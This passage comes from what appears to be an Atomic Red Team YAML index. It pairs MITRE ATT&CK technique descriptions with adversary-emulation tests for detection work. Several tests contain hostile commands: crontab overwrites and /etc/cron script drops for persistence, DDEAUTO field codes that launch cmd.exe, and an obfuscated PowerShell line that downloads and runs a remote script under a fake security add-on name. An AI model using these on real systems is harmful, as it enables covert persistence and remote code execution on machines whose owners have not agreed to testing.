        url: https://attack.mitre.org/techniques/T1053/007
      - source_name: Kubernetes Jobs
        url: https://kubernetes.io/docs/concepts/workloads/controllers/job/
        description: The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March
          30, 2021.
      - source_name: Kubernetes CronJob
        url: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/
        description: The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved
          March 29, 2021.
      - source_name: Threat Matrix for Kubernetes
        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
          March 30, 2021.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Container Orchestration Job
      description: |-
        Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.

        In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in the cluster.(Citation: Threat Matrix for Kubernetes)
      id: attack-pattern--1126cab1-c700-412f-a510-61f4937bb096
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-04-12T18:09:46.821Z'
      created: '2021-03-29T17:06:22.247Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: 'Monitor for the anomalous creation of scheduled jobs in
        container orchestration environments. Use logging agents on Kubernetes nodes
        and retrieve logs from sidecar proxies for application and resource pods to
        monitor malicious container orchestration job deployments. '
      x_mitre_contributors:
      - Center for Threat-Informed Defense (CTID)
      - Vishwas Manral, McAfee
      - Yossi Weizman, Azure Defender Research Team
      x_mitre_platforms:
      - Containers
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Container: Container Creation'
      - 'File: File Creation'
      identifier: T1053.007
    atomic_tests:
    - name: ListCronjobs
      auto_generated_guid: ddfb0bc1-3c3f-47e9-a298-550ecfefacbd
      description: 'Kubernetes Job is a controller that creates one or more pods and
        ensures that a specified number of them successfully terminate. Kubernetes
        Job can be used to run containers that perform finite tasks for batch jobs.
        Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes
        CronJob for scheduling execution of malicious code that would run as a container
        in the cluster.

'
      supported_platforms:
      - containers
      input_arguments:
        namespace:
          description: K8s namespace to list
          type: String
          default: default
      dependencies:
      - description: 'kubectl must be installed

'
        get_prereq_command: 'echo "kubectl must be installed manually"

'
        prereq_command: 'which kubectl

'
      executor:
        command: 'kubectl get cronjobs -n #{namespace}

'
        name: bash
        elevation_required: false
    - name: CreateCronjob
      auto_generated_guid: f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3
      description: 'Kubernetes Job is a controller that creates one or more pods and
        ensures that a specified number of them successfully terminate. Kubernetes
        Job can be used to run containers that perform finite tasks for batch jobs.
        Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes
        CronJob for scheduling execution of malicious code that would run as a container
        in the cluster.

'
      supported_platforms:
      - containers
      input_arguments:
        namespace:
          description: K8s namespace to list
          type: String
          default: default
      dependencies:
      - description: 'kubectl must be installed

'
        get_prereq_command: 'echo "kubectl must be installed manually"

'
        prereq_command: 'which kubectl

'
      executor:
        command: 'kubectl create -f src/cronjob.yaml -n #{namespace}

'
        cleanup_command: 'kubectl delete cronjob art -n #{namespace}

'
        name: bash
        elevation_required: false
  T1053.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1053.003
        url: https://attack.mitre.org/techniques/T1053/003
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Cron
      description: |-
        Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code. The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.  The <code> crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths.

        An adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. <code>cron</code> can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
      id: attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-23T23:30:46.546Z'
      created: '2019-12-03T14:25:00.538Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_remote_support: false
      x_mitre_permissions_required:
      - User
      x_mitre_detection: "Monitor scheduled task creation from common utilities using
        command-line invocation. Legitimate scheduled tasks may be created during
        installation of new software or through system administration functions. Look
        for changes to tasks that do not correlate with known software, patch cycles,
        etc.  \n\nSuspicious program execution through scheduled tasks may show up
        as outlier processes that have not been seen before when compared against
        historical data. Data and events should not be viewed in isolation, but as
        part of a chain of behavior that could lead to other activities, such as network
        connections made for Command and Control, learning details about the environment
        through Discovery, and Lateral Movement. "
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_platforms:
      - Linux
      - macOS
      identifier: T1053.003
    atomic_tests:
    - name: Cron - Replace crontab with referenced file
      auto_generated_guid: 435057fb-74b1-410e-9403-d81baf194f75
      description: 'This test replaces the current user''s crontab file with the contents
        of the referenced file. This technique was used by numerous IoT automated
        exploitation attacks.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: String
          default: "/tmp/evil.sh"
        tmp_cron:
          description: Temporary reference file to hold evil cron schedule
          type: Path
          default: "/tmp/persistevil"
      executor:
        name: bash
        command: |
          crontab -l > /tmp/notevil
          echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
        cleanup_command: 'crontab /tmp/notevil

'
    - name: Cron - Add script to all cron subfolders
      auto_generated_guid: b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0
      description: 'This test adds a script to /etc/cron.hourly, /etc/cron.daily,
        /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a
        schedule. This technique was used by the threat actor Rocke during the exploitation
        of Linux web servers.

'
      supported_platforms:
      - macos
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: String
          default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log
        cron_script_name:
          description: Name of file to store in cron folder
          type: String
          default: persistevil
      executor:
        elevation_required: true
        name: bash
        command: |
          echo "#{command}" > /etc/cron.daily/#{cron_script_name}
          echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
          echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
          echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
        cleanup_command: |
          rm /etc/cron.daily/#{cron_script_name}
          rm /etc/cron.hourly/#{cron_script_name}
          rm /etc/cron.monthly/#{cron_script_name}
          rm /etc/cron.weekly/#{cron_script_name}
    - name: Cron - Add script to /var/spool/cron/crontabs/ folder
      auto_generated_guid: 2d943c18-e74a-44bf-936f-25ade6cccab4
      description: 'This test adds a script to a /var/spool/cron/crontabs folder configured
        to execute on a schedule. This technique was used by the threat actor Rocke
        during the exploitation of Linux web servers.

'
      supported_platforms:
      - linux
      input_arguments:
        command:
          description: Command to execute
          type: String
          default: echo 'Hello from Atomic Red Team' > /tmp/atomic.log
        cron_script_name:
          description: Name of file to store in /var/spool/cron/crontabs folder
          type: String
          default: persistevil
      executor:
        elevation_required: true
        name: bash
        command: 'echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}

'
        cleanup_command: 'rm /var/spool/cron/crontabs/#{cron_script_name}

'
  T1610:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1610
        url: https://attack.mitre.org/techniques/T1610
      - source_name: Docker Containers API
        url: https://docs.docker.com/engine/api/v1.41/#tag/Container
        description: Docker. (n.d.). Docker Engine API v1.41 Reference - Container.
          Retrieved March 29, 2021.
      - source_name: Kubernetes Dashboard
        url: https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/
        description: The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard).
          Retrieved March 29, 2021.
      - source_name: Kubeflow Pipelines
        url: https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/
        description: The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines.
          Retrieved March 29, 2021.
      - source_name: Aqua Build Images on Hosts
        url: https://blog.aquasec.com/malicious-container-image-docker-container-host
        description: 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building
          Malicious Images on Your Hosts. Retrieved March 29, 2021.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Deploy Container
      description: |-
        Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.

        Containers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)
      id: attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2021-04-14T12:02:20.641Z'
      created: '2021-03-29T16:51:26.020Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_permissions_required:
      - User
      - root
      x_mitre_remote_support: true
      x_mitre_detection: Monitor for suspicious or unknown container images and pods
        in your environment. Deploy logging agents on Kubernetes nodes and retrieve
        logs from sidecar proxies for application pods to detect malicious activity
        at the cluster level. In Docker, the daemon log provides insight into remote
        API calls, including those that deploy containers. Logs for management services
        or applications used to deploy containers other than the native technologies
        themselves should also be monitored.
      x_mitre_contributors:
      - Pawan Kinger, @kingerpawan, Trend Micro
      - Alfredo Oliveira, Trend Micro
      - Idan Frimark, Cisco
      - Center for Threat-Informed Defense (CTID)
      - Magno Logan, @magnologan, Trend Micro
      - Ariel Shuper, Cisco
      - Vishwas Manral, McAfee
      - Yossi Weizman, Azure Defender Research Team
      x_mitre_platforms:
      - Containers
      x_mitre_data_sources:
      - 'Container: Container Creation'
      - 'Container: Container Start'
      - 'Pod: Pod Creation'
      - 'Pod: Pod Modification'
      - 'Application Log: Application Log Content'
    atomic_tests: []
  T1559.002:
    technique:
      created: '2020-02-12T14:10:50.699Z'
      modified: '2020-03-28T19:32:56.572Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      type: attack-pattern
      id: attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d
      description: |-
        Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

        Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)

        Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).
      name: Dynamic Data Exchange
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1559.002
        url: https://attack.mitre.org/techniques/T1559/002
      - url: https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/
        description: Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature
          in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.
        source_name: BleepingComputer DDE Disabled in Word Dec 2017
      - url: https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021
        description: Microsoft. (2017, December 12). ADV170021 - Microsoft Office
          Defense in Depth Update. Retrieved February 3, 2018.
        source_name: Microsoft ADV170021 Dec 2017
      - url: https://technet.microsoft.com/library/security/4053440
        description: Microsoft. (2017, November 8). Microsoft Security Advisory 4053440
          - Securely opening Microsoft Office documents that contain Dynamic Data
          Exchange (DDE) fields. Retrieved November 21, 2017.
        source_name: Microsoft DDE Advisory Nov 2017
      - url: https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/
        description: El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The
          Power Within. Retrieved November 22, 2017.
        source_name: SensePost PS DDE May 2016
      - url: https://www.contextis.com/blog/comma-separated-vulnerabilities
        description: Kettle, J. (2014, August 29). Comma Separated Vulnerabilities.
          Retrieved November 22, 2017.
        source_name: Kettle CSV DDE Aug 2014
      - url: https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee
        description: 'Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and
          Excel for Code Execution. Retrieved February 3, 2018.'
        source_name: Enigma Reviving DDE Jan 2018
      - url: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
        description: Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code
          Exec in MSWord. Retrieved November 21, 2017.
        source_name: SensePost MacroLess DDE Oct 2017
      - url: https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/
        description: NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents.
          Retrieved November 21, 2017.
        source_name: NVisio Labs DDE Detection Oct 2017
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: |-
        Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).

        OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)
      x_mitre_permissions_required:
      - User
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Script: Script Execution'
      identifier: T1559.002
    atomic_tests:
    - name: Execute Commands
      auto_generated_guid: f592ba2a-e9e8-4d62-a459-ef63abd819fd
      description: 'Executes commands via DDE using Microsfot Word

'
      supported_platforms:
      - windows
      executor:
        steps: |
          Open Microsoft Word

          Insert tab -> Quick Parts -> Field

          Choose = (Formula) and click ok.

          After that, you should see a Field inserted in the document with an error "!Unexpected End of Formula", right-click the Field, and choose Toggle Field Codes.

          The Field Code should now be displayed, change it to Contain the following:

          {DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"  }
        name: manual
    - name: Execute PowerShell script via Word DDE
      auto_generated_guid: 47c21fb6-085e-4b0d-b4d2-26d72c3830b3
      description: 'When the word document opens it will prompt the user to click
        ok on a dialogue box, then attempt to run PowerShell with DDEAUTO to download
        and execute a powershell script

'
      supported_platforms:
      - windows
      executor:
        command: 'start $PathToAtomicsFolder\T1559.002\bin\DDE_Document.docx

'
        name: command_prompt
    - name: DDEAUTO
      auto_generated_guid: cf91174c-4e74-414e-bec0-8d60a104d181
      description: |2

        TrustedSec - Unicorn - https://github.com/trustedsec/unicorn

        SensePost DDEAUTO - https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/

        Word VBA Macro

        [Dragon's Tail](https://github.com/redcanaryco/atomic-red-team/tree/master/ARTifacts/Adversary/Dragons_Tail)
      supported_platforms:
      - windows
      executor:
        steps: |
          1. Open Word

          2. Insert tab -> Quick Parts -> Field

          3. Choose = (Formula) and click ok.

          4. Once the field is inserted, you should now see "!Unexpected End of Formula"

          5. Right-click the Field, choose "Toggle Field Codes"

          6. Paste in the code from Unicorn or SensePost

          7. Save the Word document.

          9. DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"

          10. DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\windows\\system32\\{ QUOTE 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 }\\v1.0\\{ QUOTE 112 111 119 101 114 115 104 101 108 108 46 101 120 101 } -w 1 -nop { QUOTE 105 101 120 }(New-Object System.Net.WebClient).DownloadString('http://<server>/download.ps1'); # " "Microsoft Document Security Add-On"
        name: manual
  T1203:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1203
        external_id: T1203
      description: |-
        Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

        Several types exist:

        ### Browser-based Exploitation

        Web browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.

        ### Office Applications

        Common office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

        ### Common Third-party Applications

        Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.
      name: Exploitation for Client Execution
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-03-28T19:06:02.690Z'
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_version: '1.1'
      x_mitre_detection: Detecting software exploitation may be difficult depending
        on the tools available. Also look for behavior on the endpoint system that
        might indicate successful compromise, such as abnormal behavior of the browser
        or Office processes. This could include suspicious files written to disk,
        evidence of [Process Injection](https://attack.mitre.org/techniques/T1055)
        for attempts to hide execution, evidence of Discovery, or other unusual network
        traffic that may indicate additional tools transferred to the system.
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_system_requirements:
      - Remote exploitation for execution requires a remotely accessible service reachable
        over the network or other vector of access such as spearphishing or drive-by
        compromise.
      x_mitre_remote_support: true
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1061:
    technique:
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1061
        url: https://attack.mitre.org/techniques/T1061
      - url: https://en.wikipedia.org/wiki/Run_command
        description: Wikipedia. (2018, August 3). Run Command. Retrieved October 12,
          2018.
        source_name: Wikipedia Run Command
      description: |-
        **This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**

        The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.
      name: Graphical User Interface
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      modified: '2020-03-30T13:38:08.738Z'
      created: '2017-05-31T21:30:50.342Z'
      x_mitre_deprecated: true
      x_mitre_is_subtechnique: false
      x_mitre_version: '2.0'
      x_mitre_detection: "Detection of execution through the GUI will likely lead
        to significant false positives. Other factors should be considered to detect
        misuse of services that can lead to adversaries gaining access to systems
        through interactive remote sessions. \n\nUnknown or unusual process launches
        outside of normal behavior on a particular system occurring through remote
        interactive sessions are suspicious. Collect and audit security logs that
        may indicate access to and use of Legitimate Credentials to access remote
        systems within the network."
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_remote_support: true
    atomic_tests: []
  T1559:
    technique:
      created: '2020-02-12T14:08:48.689Z'
      modified: '2020-03-28T19:34:47.546Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      type: attack-pattern
      id: attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d
      description: "Adversaries may abuse inter-process communication (IPC) mechanisms
        for local code or command execution. IPC is typically used by processes to
        share data, communicate with each other, or synchronize execution. IPC is
        also commonly used to avoid situations such as deadlocks, which occurs when
        processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse
        IPC to execute arbitrary code or commands. IPC mechanisms may differ depending
        on OS, but typically exists in a form accessible through programming languages/libraries
        or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002)
        or [Component Object Model](https://attack.mitre.org/techniques/T1559/001).
        Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s,
        may also leverage underlying IPC mechanisms."
      name: Inter-Process Communication
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1559
        url: https://attack.mitre.org/techniques/T1559
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
      x_mitre_detection: Monitor for strings in files/commands, loaded DLLs/libraries,
        or spawned processes that are associated with abuse of IPC mechanisms.
      x_mitre_permissions_required:
      - Administrator
      - User
      - SYSTEM
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Script: Script Execution'
    atomic_tests: []
  T1059.007:
    technique:
      created: '2020-06-23T19:12:24.924Z'
      modified: '2021-04-27T19:21:05.521Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      type: attack-pattern
      external_references:
      - source_name: mitre-attack
        external_id: T1059.007
        url: https://attack.mitre.org/techniques/T1059/007
      - source_name: NodeJS
        url: https://nodejs.org/
        description: OpenJS Foundation. (n.d.). Node.js. Retrieved June 23, 2020.
      - source_name: JScrip May 2018
        url: https://docs.microsoft.com/windows/win32/com/translating-to-jscript
        description: Microsoft. (2018, May 31). Translating to JScript. Retrieved
          June 23, 2020.
      - source_name: Microsoft JScript 2007
        url: https://docs.microsoft.com/archive/blogs/gauravseth/the-world-of-jscript-javascript-ecmascript
        description: Microsoft. (2007, August 15). The World of JScript, JavaScript,
          ECMAScript …. Retrieved June 23, 2020.
      - source_name: Microsoft Windows Scripts
        url: https://docs.microsoft.com/scripting/winscript/windows-script-interfaces
        description: Microsoft. (2017, January 18). Windows Script Interfaces. Retrieved
          June 23, 2020.
      - source_name: Apple About Mac Scripting 2016
        url: https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html
        description: Apple. (2016, June 13). About Mac Scripting. Retrieved April
          14, 2021.
      - source_name: SpecterOps JXA 2020
        url: https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5
        description: Pitt, L. (2020, August 6). Persistent JXA. Retrieved April 14,
          2021.
      - source_name: SentinelOne macOS Red Team
        url: https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/
        description: 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple
          APIs Without Building Binaries. Retrieved July 17, 2020.'
      - source_name: Red Canary Silver Sparrow Feb2021
        url: https://redcanary.com/blog/clipping-silver-sparrows-wings/
        description: 'Tony Lambert. (2021, February 18). Clipping Silver Sparrow’s
          wings: Outing macOS malware before it takes flight. Retrieved April 20,
          2021.'
      - source_name: MDSec macOS JXA and VSCode
        url: https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/
        description: Dominic Chell. (2021, January 1). macOS Post-Exploitation Shenanigans
          with VSCode Extensions. Retrieved April 20, 2021.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: JavaScript
      description: |-
        Adversaries may abuse various implementations of JavaScript for execution. JavaScript (JS) is a platform-independent scripting language (compiled just-in-time at runtime) commonly associated with scripts in webpages, though JS can be executed in runtime environments outside the browser.(Citation: NodeJS)

        JScript is the Microsoft implementation of the same scripting standard. JScript is interpreted via the Windows Script engine and thus integrated with many components of Windows such as the [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and Internet Explorer HTML Application (HTA) pages.(Citation: JScrip May 2018)(Citation: Microsoft JScript 2007)(Citation: Microsoft Windows Scripts)

        JavaScript for Automation (JXA) is a macOS scripting language based on JavaScript, included as part of Apple’s Open Scripting Architecture (OSA), that was introduced in OSX 10.10. Apple’s OSA provides scripting capabilities to control applications, interface with the operating system, and bridge access into the rest of Apple’s internal APIs. As of OSX 10.10, OSA only supports two languages, JXA and [AppleScript](https://attack.mitre.org/techniques/T1059/002). Scripts can be executed via the command line utility <code>osascript</code>, they can be compiled into applications or script files via <code>osacompile</code>, and they can be compiled and executed in memory of other programs by leveraging the OSAKit Framework.(Citation: Apple About Mac Scripting 2016)(Citation: SpecterOps JXA 2020)(Citation: SentinelOne macOS Red Team)(Citation: Red Canary Silver Sparrow Feb2021)(Citation: MDSec macOS JXA and VSCode)

        Adversaries may abuse various implementations of JavaScript to execute various behaviors. Common uses include hosting malicious scripts on websites as part of a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or downloading and executing these script files as secondary payloads. Since these payloads are text-based, it is also very common for adversaries to obfuscate their content as part of [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).
      id: attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      x_mitre_detection: |-
        Monitor for events associated with scripting execution, such as process activity, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving scripts, or loading of modules associated with scripting languages (ex: JScript.dll). Scripting execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programmable post-compromise behaviors and could be used as indicators of detection leading back to the source.

        Monitor for execution of JXA through <code>osascript</code> and usage of <code>OSAScript</code> API that may be related to other suspicious behavior occurring on the system.

        Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If scripting is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'Script: Script Execution'
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_contributors:
      - Cody Thomas, SpecterOps
    atomic_tests: []
  T1569.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1569.001
        url: https://attack.mitre.org/techniques/T1569/001
      - source_name: Launchctl Man
        url: https://ss64.com/osx/launchctl.html
        description: SS64. (n.d.). launchctl. Retrieved March 28, 2020.
      - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
        description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26).
